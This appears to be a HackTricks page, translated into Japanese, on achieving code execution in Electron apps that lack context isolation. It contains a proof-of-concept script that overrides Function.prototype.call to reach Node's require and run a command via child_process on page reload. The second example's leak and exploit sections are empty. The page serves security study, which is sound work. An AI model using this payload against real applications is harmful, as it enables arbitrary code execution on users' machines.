Electron contextIsolation RCE via Electron internal code

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学びましょう

例1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41からの例

「exit」イベントリスナーは、ページの読み込みが開始されると常に内部コードによって設定されます。このイベントは、ナビゲーションの直前に発生します:

process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- もはや存在しません

次にここに移動します:

ここで "self" は Node のプロセスオブジェクトです:

プロセスオブジェクトには "require" 関数への参照があります:

process.mainModule.require

以下のように、handler.call は process オブジェクトを受け取るため、それを上書きして任意のコードを実行できます:

<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>

例2

プロトタイプ汚染からrequireオブジェクトを取得しますhttps://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

リーク:

エクスプロイト:

htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

Last updated